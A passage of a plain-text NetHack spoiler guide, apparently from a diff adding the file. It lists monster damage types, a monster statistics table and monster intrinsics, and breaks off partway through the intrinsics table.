+for actual hit point damage to the character, but may be used (for example) +to determine the length of paralyzation or blindness, etc. + + +Damage types: The various damage types possible for an attack are listed +below, with a brief explanation for each. The default damage type (i.e. if +no damage type is listed for the attack) is "Physical." + + Damage Type Description + ------------------------------------------------------------------------ + Acid The damage done in this case is via acid. Thus, if you + are acid resistant (only certain monsters are), you + would take no damage. + Amulet Monsters with this damage type (basically the Wizard of + Yendor only) will attempt to steal the Amulet of Yendor + (assuming you have it). + Blind This damage type is used in conjuction with the engulf, + explode, and spit attack types. With the engulf attack + type, normal damage is done, and you will be blinded + until you manage to kill the creature or are expelled + from it. With the explode attack type, you will be + blinded for a number of rounds equal to the listed + damage, but no damage will be taken. For the spit + attack type, you will take normal damage and be blinded + for 1-25 rounds. + Cleric Spl Monsters with this damage type will cast a random cleric + spell, having random effects depending upon the spell + cast. + Cold The damage is done via cold or freezing. Thus, if you + are cold resistant, no damage will be done. However, + this type of damage also has a chance of destroying + potions. + Con. Damage of this type has the possibility of being + poisoned. If the attack is poisoned, your character will + lose 3 to 5 points of constitution in addition to the + normal damage taken. + Confuse An attack doing damage of this type will confuse you for + the number of rounds that would normally be damage. + (i.e. if 1d6 is listed for damage, you would be confused + for 1d6 rounds). No normal damage is received, however. + Curse If an attack using this damage type succeeds, the + attacking monster will "steal" one of your intrinsics. + Decay This damage type, in addition to doing normal damage, + has the capability of decaying organic material. Thus, + it can damage armor that is organic in nature (i.e. + robes, leather armor, etc.). + Dex. Damage of this type has the possibility of being + poisoned. If the attack is poisoned, your character will + lose 3 to 5 points of dexterity in addition to the + normal damage taken. + Digest This damage type occurs only in conjunction with the + attack type "Engulf." Basically, once the monster has + swallowed you whole, any damage done if via digestion in + the monster's stomach. + Disease In addition to the normal damage done, you also have a + chance of becoming sick and eventually dying of it. + Disint./Death This type of attack will usually kill you outright. + However, if the attack is a disintegration beam and you + are wearing armor, your outermost layer of armor will be + destroyed instead. + Drain Energy Damage of this type is done by draining the amount of + damage from your store of energy points instead of from + hit points. + Drain Life Monsters doing this kind of damage have a chance of + draining an experience level from you in addition to the + normal damage done. + Fire The damage is done via fire or heat. Thus, if you are + fire resistant, no damage will be done. This type of + damage also has a chance of catching scrolls and + spellbooks on fire, and causing potions to boil and + burst. + Heal This is probably the most unique of all the damage + types, and is basically reserved for nurses. If you are + wearing any type of armor, or are wielding any weapon + when this damage type is done to you, normal damage will + occur (unless you are a healer, in which case you'll get + a fun message). If, however, you aren't wearing any + armor, and are not wielding any weapon, you will + actually be healed by the attack, and if already at + maximum hit points, there is a chance that your maximum + will be increased by one point. + Legs Monsters doing this type of damage attack and do damage + primarily to your legs. Such damage can incapacitate + you and prevent you from walking or fighting, especially + if you're carrying a heavy load. + Lycanthropy Monsters with this damage type have a chance of not only + doing normal damage, but also conferring lycanthropy + upon you. If you catch lycanthropy (signified by the + message, "You feel feverish."), you will periodically + change form into a rat, jackal, or wolf, depending upon + which type of lycanthrope you got the disease from. + Mag. Mis. Attacks with this damage type are made via magic + missiles. If you are magic resistant, no damage will be + sustained. + Paralyze For most attack types, this kind of damage includes not + only the normal physical damage, but also the chance of + being paralyzed for a random time period. However, for + "Defensive" attacks, no damage is done, and you will be + paralyzed for the number of rounds listed as damage. + Petrify Monsters doing this type of damage have a chance of + turning you to stone. Generally the stoning (as it's + called) starts with the limbs, and then proceeds to the + rest of the body. + Physical The damage done is physical in nature (i.e. a cut to the + torso, etc.). + Rust Damage of this type has the capability of rusting metal. + If the attack type is defensive in nature, the weapon + you used to attack can rust. Otherwise, any metal armor + you might be wearing can rust. + Seduce Monsters with this damage type will attempt to seduce + you and will steal as many of your items as possible + while they are seducing you. Incubi/Succubi have + slightly different effects with this damage type, and + can have effects ranging from giving you experience to + outright killing you. + Shock Damage of this type is done via electrical shock. Thus, + if you are shock resistant, no damage will be done. + However, this damage also has a chance of destroying + wands and rings. + Sleep If an attack doing sleep damage succeeds, there is a + chance that you will be put to sleep for a random time + period in addition to the normal damage. Sleep + resistance will prevent you from being put to sleep, but + you will still sustain the normal damage. + Slow Attacks doing damage of this type have the possibility + of not only doing normal damage, but also of slowing you + down to normal speed if you are moving at faster than + normal speed. + Spell Monsters with this damage type will cast a random magic- + user spell, having varying effects depending upon the + spell cast. + Steal Monsters with this damage type will attempt to steal an + item from your inventory. + Steal $ Monsters with this damage type will attempt to steal any + gold which you might have. + Stick If an attack doing damage of this type succeeds, in + addition to doing the normal damage, you will be unable + to escape the monster in the next round. + Str. Damage of this type has the possibility of being + poisoned. If the attack is poisoned, your character will + lose 3 to 5 points of strength in addition to the normal + damage taken. + Stun An attack doing damage of this type will stun you for + the number of rounds that would normally be damage. + (i.e. if 1d6 is listed for damage, you would be stunned + for 1d6 rounds). In addition to stunning you for this + time period, you will take damage equal to one-half of + the time period you are stunned. (I.e., let's say the + monster can do 1d6 damage. Let's say it rolls a 4 for + that 1d6. Thus, you would be stunned for 4 rounds, and + take 2 hit points of damage.) The exception to all this + is "Defensive" attacks, where you will be stunned as per + a normal stun attack, but no physical damage is taken. + Teleport Monsters doing damage of this type can, in addition to + doing normal damage, teleport you to another spot on the + level. + Wrap This is a special damage type which is similar to + "Stick." However, this damage type is reserved for eels, + and if successful, in addition to keeping you from + running away the next round, there is a chance that you + will be dragged into the water. + +----------------------------------------------------------------------------- +Monster Information: + + Name Lvl Spd AC MR Aln Wgt Nutr Siz +---------------------------------------------------------------------- +| acid blob | 1 | 3 | 8 | 0 | N | 3 | 30 | S | +| air elemental | 8 | 36 | 2 | 30 | N | 5 | 0 | L | +| ape | 4 | 12 | 6 | 0 | N | 50 | 500 | L | +| archeologist | 1 | 10 | 10 | 1 | L | 45 | 400 | L | +| Asmodeus | 105 | 12 | -7 | 90 | L | 50 | 500 | L | +| Baalzebub | 89 | 9 | -5 | 85 | L | 50 | 500 | L | +| baby black dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| baby blue dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| baby crocodile | 3 | 6 | 7 | 0 | N | 20 | 200 | L | +| baby gray dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| baby green dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| baby long worm | 8 | 3 | 5 | 0 | N | 25 | 250 | L | +| baby orange dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| baby purple worm | 8 | 3 | 5 | 0 | N | 25 | 250 | L | +| baby red dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| baby white dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| baby yellow dragon | 12 | 9 | 2 | 10 | N | 50 | 500 | L | +| balrog | 16 | 5 | -2 | 75 | C | 45 | 450 | L | +| baluchitherium | 14 | 12 | 5 | 0 | N | 80 | 800 | L | +| barbarian | 1 | 10 | 10 | 1 | C | 45 | 400 | L | +| barbed devil | 8 | 12 | 0 | 35 | L | 45 | 450 | L | +| barrow wight | 3 | 12 | 5 | 5 | C | 30 | 0 | L | +| bat | 0 | 22 | 8 | 0 | N | 2 | 20 | S | +| black dragon | 10 | 9 | -1 | 20 | C | 150 | 1500 | L | +| black naga | 8 | 14 | 2 | 10 | L | 60 | 400 | L | +| black naga hatchling | 3 | 10 | 6 | 0 | N | 20 | 100 | L | +| black pudding | 10 | 6 | 6 | 0 | N | 50 | 500 | L | +| black unicorn | 4 | 24 | 2 | 70 | C | 30 | 300 | L | +| blue dragon | 10 | 9 | -1 | 20 | C | 150 | 1500 | L | +| blue jelly | 4 | 0 | 8 | 10 | N | 2 | 20 | L | +| bone devil | 9 | 15 | -1 | 40 | C | 45 | 450 | L | +| brown mold | 1 | 0 | 9 | 0 | N | 5 | 30 | S | +| brown pudding | 5 | 3 | 8 | 0 | N | 50 | 500 | L | +| bugbear | 3 | 9 | 5 | 0 | C | 25 | 250 | L | +| captain | 12 | 4 | -3 | 15 | C | 45 | 400 | L | +| carnivorous ape | 5 | 12 | 6 | 0 | N | 55 | 550 | L | +| cave spider | 1 | 12 | 3 | 0 | N | 5 | 50 | S | +| caveman | 1 | 10 | 10 | 0 | L | 45 | 400 | L | +| cavewoman | 1 | 10 | 10 | 0 | L | 45 | 400 | L | +| Cerberus | 12 | 10 | 2 | 20 | C | 50 | 350 | L | +| chameleon | 6 | 5 | 6 | 10 | N | 10 | 100 | S | +| Charon | 76 | 18 | -5 | 120 | N | 45 | 400 | L | +| clay golem | 11 | 7 | 7 | 40 | N | 75 | 0 | L | +| cobra | 6 | 18 | 2 | 0 | N | 15 | 100 | L | +| cockatrice | 5 | 6 | 6 | 30 | N | 3 | 30 | S | +| crocodile | 6 | 9 | 5 | 0 | N | 45 | 400 | L | +| demilich | 14 | 9 | -2 | 60 | C | 30 | 100 | L | +| Demogorgon | 106 | 15 | -8 | 95 | C | 50 | 500 | L | +| demon | 10 | 12 | 4 | 30 | C | 45 | 450 | L | +| Dispater | 78 | 15 | -2 | 80 | L | 50 | 500 | L | +| djinni | 7 | 12 | 4 | 30 | N | 40 | 400 | L | +| dog | 4 | 16 | 5 | 0 | N | 20 | 200 | L | +| dust vortex | 4 | 20 | 2 | 30 | N | 20 | 0 | L | +| dwarf | 2 | 6 | 4 | 10 | L | 30 | 300 | L | +| dwarf king | 6 | 6 | 4 | 20 | L | 30 | 300 | L | +| dwarf lord | 4 | 6 | 4 | 10 | L | 30 | 300 | L | +| earth elemental | 8 | 6 | 2 | 30 | N | 50 | 0 | L | +| electric eel | 7 | 10 | -3 | 0 | N | 10 | 250 | L | +| elf | 1 | 12 | 10 | 2 | L | 35 | 350 | L | +| elf mummy | 6 | 12 | 4 | 30 | C | 35 | 350 | L | +| elf zombie | 3 | 6 | 9 | 0 | C | 35 | 350 | L | +| elf-lord | 8 | 12 | 5 | 20 | L | 35 | 350 | L | +| Elvenking | 9 | 12 | 5 | 25 | L | 35 | 350 | L | +| energy vortex | 6 | 20 | 2 | 30 | N | 20 | 0 | L | +| erinyes | 7 | 12 | 2 | 30 | L | 45 | 450 | L | +| ettin | 10 | 12 | 3 | 0 | N | 50 | 500 | L | +| ettin mummy | 7 | 12 | 4 | 30 | C | 50 | 500 | L | +| ettin zombie | 6 | 8 | 6 | 0 | C | 50 | 500 | L | +| fire ant | 3 | 18 | 3 | 10 | N | 3 | 30 | S | +| fire elemental | 8 | 12 | 2 | 30 | N | 5 | 0 | L | +| fire giant | 9 | 12 | 4 | 5 | L | 75 | 750 | L | +| fire vortex | 8 | 22 | 2 | 30 | N | 30 | 0 | L | +| flesh golem | 9 | 8 | 9 | 30 | N | 60 | 600 | L | +| floating eye | 2 | 1 | 9 | 10 | N | 1 | 10 | S | +| fog cloud | 3 | 1 | 0 | 0 | N | 10 | 0 | L | +| forest centaur | 5 | 18 | 3 | 10 | C | 55 | 600 | L | +| freezing sphere | 6 | 13 | 4 | 0 | N | 1 | 10 | S | +| frost giant | 10 | 12 | 3 | 10 | C | 75 | 750 | L | +| garter snake | 1 | 8 | 8 | 0 | N | 5 | 60 | S | +| gecko | 1 | 6 | 8 | 0 | N | 2 | 20 | S | +| gelatinous cube | 6 | 6 | 8 | 0 | N | 30 | 300 | L | +| Geryon | 72 | 3 | -3 | 75 | L | 50 | 500 | L | +| ghost | 10 | 3 | -5 | 50 | C | 45 | 0 | L | +| giant | 6 | 6 | 0 | 0 | L | 75 | 750 | L | +| giant ant | 2 | 18 | 3 | 0 | N | 1 | 10 | S | +| giant bat | 2 | 22 | 7 | 0 | N | 3 | 30 | L | +| giant beetle | 5 | 6 | 4 | 0 | N | 1 | 10 | L | +| giant eel | 5 | 9 | -1 | 0 | N | 10 | 250 | L | +| giant mimic | 9 | 3 | 7 | 20 | N | 60 | 500 | L | +| giant mummy | 8 | 14 | 3 | 30 | C | 75 | 750 | L | +| giant rat | 1 | 10 | 7 | 0 | N | 3 | 30 | S | +| giant spider | 5 | 15 | 4 | 0 | N | 10 | 100 | L | +| giant zombie | 8 | 8 | 6 | 0 | C | 75 | 750 | L | +| gnome | 1 | 6 | 5 | 4 | N | 10 | 100 | S | +| gnome king | 5 | 10 | 2 | 20 | N | 20 | 150 | S | +| gnome lord | 3 | 8 | 4 | 4 | N | 15 | 120 | S | +| gnome mummy | 4 | 10 | 6 | 20 | C | 10 | 100 | S | +| gnome zombie | 1 | 6 | 10 | 0 | C | 10 | 100 | S | +| gnomish wizard | 3 | 10 | 4 | 10 | N | 15 | 120 | S | +| goblin | 0 | 6 | 6 | 0 | C | 10 | 100 | S | +| golden naga | 10 | 14 | 2 | 70 | L | 60 | 400 | L | +| golden naga hatchling | 3 | 10 | 6 | 0 | N | 20 | 100 | L | +| gray dragon | 10 | 9 | -1 | 20 | L | 150 | 1500 | L | +| gray ooze | 3 | 1 | 8 | 0 | N | 50 | 500 | L | +| gray unicorn | 4 | 24 | 2 | 70 | N | 30 | 300 | L | +| green dragon | 10 | 9 | -1 | 20 | L | 150 | 1500 | L | +| green mold | 1 | 0 | 9 | 0 | N | 5 | 30 | S | +| Green-elf | 5 | 12 | 5 | 10 | L | 35 | 350 | L | +| gremlin | 5 | 12 | 2 | 25 | C | 10 | 30 | S | +| Grey-elf | 6 | 12 | 5 | 10 | L | 35 | 350 | L | +| grid bug | 0 | 12 | 9 | 0 | N | 5 | 50 | S | +| guard | 12 | 12 | -1 | 40 | L | 45 | 400 | L | +| guardian naga | 12 | 16 | 0 | 50 | L | 60 | 400 | L | +| guardian naga hatchling | 3 | 10 | 6 | 0 | N | 20 | 100 | L | +| healer | 1 | 10 | 10 | 1 | L | 45 | 400 | L | +| hell hound | 12 | 14 | 2 | 20 | N | 30 | 300 | L | +| hell hound pup | 7 | 12 | 4 | 20 | C | 20 | 200 | S | +| hezrou | 9 | 6 | -2 | 55 | C | 45 | 450 | L | +| hill giant | 8 | 10 | 6 | 0 | C | 70 | 700 | L | +| hill orc | 2 | 9 | 6 | 0 | C | 20 | 200 | L | +| hobbit | 1 | 9 | 7 | 0 | L | 20 | 200 | S | +| hobgoblin | 1 | 9 | 6 | 0 | C | 20 | 200 | L | +| homunculus | 2 | 12 | 6 | 10 | C | 20 | 200 | S | +| horned devil | 6 | 9 | -5 | 50 | L | 45 | 450 | L | +| housecat | 4 | 16 | 5 | 0 | N | 20 | 200 | S | +| human | 0 | 12 | 10 | 0 | N | 45 | 400 | L | +| human mummy | 6 | 12 | 4 | 30 | C | 40 | 400 | L | +| human zombie | 4 | 6 | 8 | 0 | C | 40 | 400 | L | +| ice devil | 11 | 6 | -4 | 55 | C | 45 | 450 | L | +| ice troll | 9 | 10 | 2 | 20 | C | 40 | 300 | L | +| ice vortex | 5 | 20 | 2 | 30 | N | 30 | 0 | L | +| iguana | 2 | 6 | 7 | 0 | N | 3 | 30 | S | +| imp | 3 | 12 | 2 | 20 | C | 1 | 10 | S | +| incubus | 6 | 12 | 0 | 70 | C | 45 | 450 | L | +| iron golem | 18 | 6 | 3 | 60 | N | 100 | 0 | L | +| iron piercer | 5 | 1 | 0 | 0 | N | 40 | 300 | L | +| jabberwock | 15 | 12 | -2 | 50 | N | 60 | 600 | L | +| jackal | 0 | 12 | 7 | 0 | N | 25 | 250 | S | +| jackalwere | 2 | 12 | 7 | 10 | C | 25 | 250 | S | +| jaguar | 4 | 15 | 6 | 0 | N | 30 | 300 | L | +| Juiblex | 50 | 3 | -7 | 65 | C | 50 | 250 | L | +| Keystone Kop | 1 | 6 | 7 | 10 | L | 45 | 200 | L | +| killer bee | 1 | 18 | -1 | 0 | N | 1 | 10 | S | +| kitten | 2 | 18 | 6 | 0 | N | 15 | 150 | S | +| knight | 1 | 10 | 10 | 1 | L | 45 | 400 | L | +| kobold | 0 | 6 | 7 | 0 | C | 10 | 100 | S | +| kobold lord | 2 | 6 | 5 | 0 | C | 20 | 200 | S | +| kobold mummy | 3 | 8 | 6 | 20 | C | 10 | 100 | S | +| kobold shaman | 1 | 6 | 6 | 10 | C | 15 | 150 | S | +| kobold zombie | 0 | 6 | 10 | 0 | C | 10 | 100 | S | +| Kop Kaptain | 4 | 12 | 4 | 20 | L | 45 | 200 | L | +| Kop Lieutenant | 3 | 10 | 5 | 20 | L | 45 | 200 | L | +| Kop Sergeant | 2 | 8 | 6 | 10 | L | 45 | 200 | L | +| kraken | 20 | 3 | 6 | 0 | C | 100 | 1000 | L | +| large cat | 6 | 15 | 4 | 0 | N | 25 | 250 | S | +| large dog | 6 | 15 | 4 | 0 | N | 25 | 250 | L | +| large kobold | 1 | 6 | 6 | 0 | C | 15 | 150 | S | +| large mimic | 8 | 3 | 7 | 10 | N | 40 | 400 | L | +| leather golem | 6 | 6 | 6 | 0 | N | 40 | 0 | L | +| lemure | 3 | 3 | 7 | 0 | C | 10 | 100 | L | +| leocrotta | 6 | 18 | 4 | 10 | N | 50 | 500 | L | +| leprechaun | 5 | 15 | 8 | 20 | N | 30 | 300 | S | +| lich | 11 | 6 | 0 | 30 | C | 30 | 100 | L | +| lieutenant | 10 | 4 | -2 | 15 | C | 45 | 400 | L | +| little dog | 2 | 18 | 6 | 0 | N | 15 | 150 | S | +| lizard | 5 | 6 | 6 | 10 | N | 1 | 40 | S | +| long worm | 8 | 3 | 5 | 10 | N | 50 | 500 | L | +| lurker above | 10 | 3 | 3 | 0 | N | 40 | 350 | L | +| mail daemon | 56 | 24 | 10 | 127 | N | 30 | 300 | L | +| manes | 1 | 3 | 7 | 0 | C | 10 | 100 | S | +| marilith | 7 | 12 | -6 | 80 | C | 45 | 450 | L | +| master lich | 17 | 9 | -4 | 90 | C | 30 | 100 | L | +| Medusa | 20 | 12 | 2 | 50 | C | 45 | 400 | L | +| minotaur | 15 | 15 | 6 | 0 | N | 70 | 700 | L | +| Mordor orc | 3 | 5 | 6 | 0 | C | 20 | 200 | L | +| mountain centaur | 6 | 20 | 2 | 10 | C | 55 | 500 | L | +| mountain nymph | 3 | 12 | 9 | 20 | N | 30 | 300 | L | +| mumakil | 5 | 9 | 0 | 0 | C | 70 | 500 | L | +| nalfeshnee | 11 | 9 | -1 | 65 | C | 45 | 450 | L | +| Nazgul | 13 | 12 | 0 | 25 | C | 30 | 0 | L | +| newt | 0 | 6 | 8 | 0 | N | 2 | 20 | S | +| nurse | 11 | 6 | 0 | 0 | N | 45 | 400 | L | +| ochre jelly | 6 | 3 | 8 | 20 | N | 2 | 20 | L | +| ogre | 5 | 10 | 5 | 0 | C | 60 | 500 | L | +| ogre king | 7 | 14 | 4 | 60 | C | 70 | 750 | L | +| ogre lord | 7 | 12 | 3 | 30 | C | 70 | 700 | L | +| Olog-hai | 13 | 12 | -4 | 0 | C | 40 | 400 | L | +| oracle | 12 | 0 | 0 | 50 | N | 45 | 400 | L | +| orange dragon | 10 | 9 | -1 | 20 | L | 150 | 1500 | L | +| orc | 1 | 9 | 6 | 0 | C | 15 | 150 | L | +| orc mummy | 5 | 10 | 5 | 20 | C | 15 | 150 | L | +| orc shaman | 3 | 9 | 5 | 10 | C | 30 | 300 | L | +| orc zombie | 2 | 6 | 9 | 0 | C | 15 | 150 | L | +| orc-captain | 5 | 5 | 4 | 0 | C | 35 | 350 | L | +| Orcus | 66 | 9 | -6 | 85 | C | 50 | 500 | L | +| owlbear | 5 | 12 | 5 | 0 | N | 70 | 700 | L | +| pit fiend | 13 | 6 | -3 | 65 | C | 45 | 450 | L | +| pit viper | 6 | 15 | 2 | 0 | N | 5 | 60 | L | +| plains centaur | 4 | 18 | 4 | 0 | N | 50 | 500 | L | +| priest | 1 | 10 | 10 | 2 | N | 45 | 400 | L | +| priestess | 1 | 10 | 10 | 2 | N | 45 | 400 | L | +| purple worm | 15 | 9 | 6 | 20 | N | 70 | 700 | L | +| python | 6 | 3 | 5 | 0 | N | 15 | 100 | L | +| quantum mechanic* | 7 | 12 | 3 | 10 | N | 2 | 20 | L | +| quasit | 3 | 15 | 2 | 20 | C | 20 | 200 | S | +| queen bee | 9 | 24 | -4 | 0 | N | 1 | 10 | S | +| quivering blob | 5 | 1 | 8 | 0 | N | 20 | 200 | S | +| rabid rat | 2 | 12 | 6 | 0 | N | 3 | 10 | S | +| ratwere | 2 | 12 | 6 | 10 | C | 3 | 30 | S | +| red dragon | 10 | 9 | -1 | 20 | C | 150 | 1500 | L | +| red mold | 1 | 0 | 9 | 0 | N | 5 | 30 | S | +| red naga | 6 | 12 | 4 | 0 | C | 60 | 400 | L | +| red naga hatchling | 3 | 10 | 6 | 0 | N | 20 | 100 | L | +| rock mole | 3 | 3 | 0 | 20 | N | 3 | 30 | S | +| rock piercer | 3 | 1 | 3 | 0 | N | 20 | 200 | S | +| rock troll | 9 | 12 | 0 | 0 | C | 40 | 300 | L | +| rogue | 1 | 10 | 10 | 1 | C | 45 | 400 | L | +| rope golem | 4 | 9 | 8 | 0 | N | 20 | 0 | L | +| rothe | 2 | 9 | 7 | 0 | N | 10 | 100 | L | +| rust monster | 5 | 18 | 2 | 0 | N | 50 | 500 | L | +| samurai | 1 | 10 | 10 | 1 | L | 45 | 400 | L | +| scorpion | 5 | 15 | 3 | 0 | N | 10 | 100 | S | +| sergeant | 8 | 4 | 0 | 5 | C | 45 | 400 | L | +| sewer rat | 0 | 12 | 7 | 0 | N | 2 | 20 | S | +| shopkeeper | 12 | 18 | 0 | 50 | N | 45 | 400 | L | +| small mimic | 7 | 3 | 7 | 0 | N | 20 | 200 | L | +| snake | 4 | 15 | 3 | 0 | N | 10 | 80 | S | +| soldier | 6 | 4 | 3 | 0 | C | 45 | 400 | L | +| soldier ant | 3 | 18 | 3 | 0 | N | 2 | 20 | S | +| spotted jelly | 5 | 0 | 8 | 10 | N | 2 | 20 | L | +| stalker | 8 | 12 | 3 | 0 | N | 40 | 400 | L | +| steam vortex | 7 | 22 | 2 | 30 | N | 30 | 0 | L | +| stone giant | 6 | 6 | 0 | 0 | L | 75 | 750 | L | +| stone golem | 14 | 6 | 5 | 50 | N | 90 | 0 | L | +| straw golem | 3 | 12 | 10 | 0 | N | 10 | 0 | L | +| succubus | 6 | 12 | 0 | 70 | C | 45 | 450 | L | +| temple priest | 12 | 12 | 0 | 50 | L | 45 | 400 | L | +| temple priestess | 12 | 12 | 0 | 50 | L | 45 | 400 | L | +| tengu | 6 | 13 | 5 | 30 | L | 30 | 300 | S | +| tiger | 6 | 12 | 6 | 0 | N | 30 | 300 | L | +| titan | 16 | 18 | -3 | 70 | L | 90 | 900 | L | +| titanothere | 12 | 12 | 6 | 0 | N | 65 | 650 | L | +| tourist | 1 | 10 | 10 | 1 | N | 45 | 400 | L | +| trapper | 12 | 3 | 3 | 0 | N | 40 | 350 | L | +| troll | 7 | 12 | 4 | 0 | C | 40 | 400 | L | +| umber hulk | 9 | 6 | 2 | 25 | N | 50 | 500 | L | +| unarmored soldier | 6 | 4 | 10 | 0 | C | 45 | 400 | L | +| Uruk-hai | 3 | 7 | 5 | 0 | C | 30 | 300 | L | +| valkyrie | 1 | 10 | 10 | 1 | C | 45 | 400 | L | +| vampire | 10 | 12 | 1 | 25 | C | 40 | 400 | L | +| vampire bat | 5 | 20 | 6 | 0 | N | 3 | 20 | S | +| vampire lord | 12 | 14 | 0 | 50 | C | 40 | 400 | L | +| violet fungus | 3 | 1 | 7 | 0 | N | 10 | 100 | S | +| Vlad the Impaler | 14 | 18 | -3 | 80 | C | 40 | 400 | L | +| vrock | 8 | 12 | 0 | 50 | C | 45 | 450 | L | +| warg | 7 | 12 | 4 | 0 | C | 35 | 350 | L | +| water demon | 8 | 12 | 4 | 30 | C | 45 | 450 | L | +| water elemental | 8 | 6 | 2 | 30 | N | 50 | 0 | L | +| water moccasin | 4 | 15 | 3 | 0 | N | 10 | 100 | S | +| water nymph | 3 | 12 | 9 | 20 | N | 30 | 300 | L | +| water troll | 11 | 14 | 4 | 40 | C | 40 | 400 | L | +| werejackal | 2 | 12 | 7 | 10 | C | 45 | 400 | L | +| wererat | 2 | 12 | 7 | 10 | C | 45 | 400 | L | +| werewolf | 5 | 12 | 6 | 20 | C | 45 | 400 | L | +| white dragon | 10 | 9 | -1 | 20 | C | 150 | 1500 | L | +| white unicorn | 4 | 24 | 2 | 70 | L | 30 | 300 | L | +| winter wolf | 7 | 12 | 4 | 0 | N | 30 | 300 | L | +| wizard | 1 | 10 | 10 | 3 | N | 45 | 400 | L | +| Wizard of Yendor | 30 | 12 | -8 | 100 | C | 45 | 400 | L | +| wolf | 5 | 12 | 4 | 0 | N | 25 | 250 | S | +| wolfwere | 5 | 12 | 4 | 20 | C | 25 | 250 | L | +| wood golem | 7 | 3 | 4 | 0 | N | 50 | 0 | L | +| wood nymph | 3 | 12 | 9 | 20 | N | 30 | 300 | L | +| Woodland-elf | 4 | 12 | 5 | 10 | L | 35 | 350 | L | +| wraith | 6 | 12 | 4 | 15 | C | 30 | 0 | L | +| wumpus | 8 | 3 | 2 | 10 | N | 50 | 500 | L | +| xan | 7 | 18 | -4 | 0 | N | 30 | 300 | S | +| xorn | 8 | 9 | 2 | 20 | N | 70 | 700 | L | +| Yeenoghu | 56 | 18 | -5 | 80 | C | 50 | 500 | L | +| yellow dragon | 10 | 9 | -1 | 20 | L | 150 | 1500 | L | +| yellow light | 3 | 15 | 0 | 0 | N | 1 | 10 | S | +| yellow mold | 1 | 0 | 9 | 0 | N | 5 | 30 | S | +| yeti | 5 | 15 | 6 | 0 | N | 70 | 700 | L | +| zruty | 9 | 8 | 3 | 0 | N | 60 | 600 | L | +---------------------------------------------------------------------- + +Following is a description of the contents of each column: + +Lvl This column contains the level of the monster. Level determines items + the monster's hit points, how many experience points it's worth, etc. +Spd This is the monster's speed. Compare this with your standard + character's speed of 10. +AC This is the monster's armor class. The lower this is, the harder it + will be to hit the monster. +MR This is the magic resistance of the monster, and it is the percentage + chance that any spell hitting the monster has of failing. +Aln This is the monster's alignment. C = Chaotic, N = Neutral, and L = + Lawful +Wgt This is the weight of the monster. Consequently, it is also the weight + of any corpse the monster may leave. +Nutr This is the nutritional value that can be gained from the monster's + corpse, if eaten. +Siz This is the size of the monster, as may be used to compute weapon + damage. S is smaller than human size, and L is larger than human size. + +* Just for the physics types, these are the names of the Quantum Mechanics. +How many do you know? + + Max (Born) Niels (Bohr) + Wolfgang (Pauli) Paul (Dirac) + Louis (de Broglie) Pascual (Jordan) + Erwin (Schroedinger) Dick (Feynman) + Werner (Heisenberg) Sam (Beckett) + +----------------------------------------------------------------------------- +Monster Intrinsics: + + Name Intrinsics +----------------------------------------------------------------------------- +| acid blob | Acid, Amorph., No Eyes, No Limbs, Sleep Res, | +| | Stone Res | +| air elemental | Fly, No Corpse, No Eyes, No Limbs, Poison, | +| | Pois Res | +| ape | | +| archeologist | No Poly., Tunnel | +| Asmodeus | Cold Res, Fire Res, Fly, No Corpse, No Poly., | +| | Poison, See Invis | +| Baalzebub | Fire Res, Fly, No Corpse, No Poly., Poison, | +| | See Invis | +| baby black dragon | Disin Res, Fly, No Hands, Thick Hide | +| baby blue dragon | Fly, No Hands, Shock Res, Thick Hide | +| baby crocodile | No Hands, Swim | +| baby gray dragon | Fly, No Hands, Thick Hide | +| baby green dragon | Fly, No Hands, Poison, Pois Res, Thick Hide | +| baby long worm | No Limbs | +| baby orange dragon | Fly, No Hands, Sleep Res, Thick Hide | +| baby purple worm | No Limbs | +| baby red dragon | Fire Res, Fly, No Hands, Thick Hide | +| baby white dragon | Cold Res, Fly, No Hands, Thick Hide | +| baby yellow dragon | Acid, Fly, No Hands, Stone Res, Thick Hide | +| balrog | Fire Res, Fly, No Corpse, Poison, See Invis | +| baluchitherium | No Hands, Thick Hide | +| barbarian | No Poly., Poison, Pois Res | +| barbed devil | Fire Res, No Corpse, Poison, Thick Hide | +| barrow wight | No Corpse, Poison, Pois Res | +| bat | Fly, No Hands | +| black dragon | Fly, Disin Res, Eggs, No Hands, See Invis, | +| | Thick Hide | +| black naga | Acid, Eggs, No Limbs, Poison, Pois Res, | +| | Stone Res, Thick Hide | +| black naga hatchling | No Limbs, Poison, Pois Res, Stone Res, | +| | Thick Hide | +| black pudding | Amorph., Cold Res, No Eyes, No Limbs, Poison, | +| | Pois Res, Shock Res | +| black unicorn | No Hands, Poison, Pois Res | +| blue dragon | Fly, Eggs, No Hands, See Invis, Shock Res, | +| | Thick Hide | +| blue jelly | Amorph., Cold Res, No Eyes, No Limbs, Poison, | +| | Pois Res | +| bone devil | Fire Res, No Corpse, Poison | +| brown mold | Cold Res, No Eyes, No Limbs, Poison, Pois Res | +| brown pudding | Amorph., Cold Res, No Eyes, No Limbs, Poison, | +| | Pois Res, Shock Res | +| bugbear | | +| captain | No Poly. | +| carnivorous ape | | +| cave spider | Eggs, No Hands, Poison, Pois Res | +| caveman | No Poly. | +| cavewoman | No Poly. | +| Cerberus | Fire Res, No Hands, No Poly. | +| chameleon | No Hands, No Poly. | +| Charon | Fire Res, No Corpse, No Poly., Poison, | +| | Pois Res, See Invis | +| clay golem | No Corpse, Poison, Pois Res, Thick Hide | +| cobra | Eggs, No Limbs, Poison, Pois Res, Swim | +| cockatrice | Eggs, No Hands, Poison, Pois Res, Stone Res | +| crocodile | Eggs, No Hands, Swim, Thick Hide | +| demilich | Cold Res, Poison, Regen | +| Demogorgon | Fire Res, Fly, No Corpse, No Hands, No Poly., | +| | Poison, See Invis | +| demon | Fire Res, No Corpse, Poison | +| Dispater | Fire Res, Fly, No Corpse, No Poly., Poison, | +| | See Invis | +| djinni | Fly, No Corpse, No Poly., Poison | +| dog | Domestic, No Hands | +| dust vortex | Fly, No Corpse, No Eyes, No Limbs, Poison, | +| | Pois Res | +| dwarf | Tunnel | +| dwarf king | Tunnel | +| dwarf lord | Tunnel | +| earth elemental | No Corpse, No Eyes, No Limbs, Phase, Poison, | +| | Pois Res, Stone Res, Thick Hide | +| electric eel | Eggs, No Limbs, No Poly., Shock Res, Swim | +| elf | 